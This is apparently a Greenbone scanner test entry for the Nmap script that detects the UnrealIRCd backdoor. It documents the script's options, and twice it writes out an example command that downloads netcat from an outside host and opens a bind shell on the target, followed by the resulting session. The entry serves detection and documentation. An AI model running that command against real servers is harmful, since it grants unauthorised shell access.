Test ID:	1.3.6.1.4.1.25623.1.0.104013
Category:	Nmap NSE net
Title:	Nmap NSE net: irc-unrealircd-backdoor
Summary:	Checks if an IRC server is backdoored by running a time-based command (ping) and checking how long;it takes to respond.;;The 'irc-unrealircd-backdoor.command' script argument can be used to run an arbitrary;command on the remote system. Because of the nature of this vulnerability (the output is never;returned) we have no way of getting the output of the command. It can, however, be used to start a;netcat listener as demonstrated here:' $ nmap -d -p6667 --script=irc-unrealircd-backdoor.nse -script-args=irc-unrealircd-backdoor.command='wget http://www.javaop.com/~ron/tmp/nc && chmod +x;./nc && ./nc -l -p 4444 -e /bin/sh' $ ncat -vv localhost 4444 Ncat: Version 5.30BETA1 (http://nmap.org/ncat) Ncat: Connected to 127.0.0.1:4444. pwd /home/ron/downloads/Unreal3.2-bad whoami ron ';;Metasploit can also be used to exploit this vulnerability.;;In addition to running arbitrary commands, the 'irc-unrealircd-backdoor.kill' script;argument can be passed, which simply kills the UnrealIRCd process.;;SYNTAX:;;irc-unrealircd-backdoor.wait: Wait time in seconds before executing the check. This is recommended to set for more reliable check (100 is good value).;;irc-unrealircd-backdoor.kill: If set to '1' or 'true', kill the backdoored UnrealIRCd running.;;irc-unrealircd-backdoor.command: An arbitrary command to run on the remote system (note, however, that you won't see the output of your command).;This will always be attempted, even if the host isn't vulnerable. The pattern '%IP%' will be replaced with the ip address of the target host.
Description:	Summary: Checks if an IRC server is backdoored by running a time-based command (ping) and checking how long it takes to respond. The 'irc-unrealircd-backdoor.command' script argument can be used to run an arbitrary command on the remote system. Because of the nature of this vulnerability (the output is never returned) we have no way of getting the output of the command. It can, however, be used to start a netcat listener as demonstrated here:' $ nmap -d -p6667 --script=irc-unrealircd-backdoor.nse -script-args=irc-unrealircd-backdoor.command='wget http://www.javaop.com/~ ron/tmp/nc && chmod +x ./nc && ./nc -l -p 4444 -e /bin/sh' $ ncat -vv localhost 4444 Ncat: Version 5.30BETA1 (http://nmap.org/ncat) Ncat: Connected to 127.0.0.1:4444. pwd /home/ron/downloads/Unreal3.2-bad whoami ron ' Metasploit can also be used to exploit this vulnerability. In addition to running arbitrary commands, the 'irc-unrealircd-backdoor.kill' script argument can be passed, which simply kills the UnrealIRCd process. SYNTAX: irc-unrealircd-backdoor.wait: Wait time in seconds before executing the check. This is recommended to set for more reliable check (100 is good value). irc-unrealircd-backdoor.kill: If set to '1' or 'true', kill the backdoored UnrealIRCd running. irc-unrealircd-backdoor.command: An arbitrary command to run on the remote system (note, however, that you won't see the output of your command). This will always be attempted, even if the host isn't vulnerable. The pattern '%IP%' will be replaced with the ip address of the target host. CVSS Score: 7.5 CVSS Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P
Copyright	Copyright (C) 2011 NSE-Script: The Nmap Security Scanner; NASL-Wrapper: Greenbone Networks GmbH

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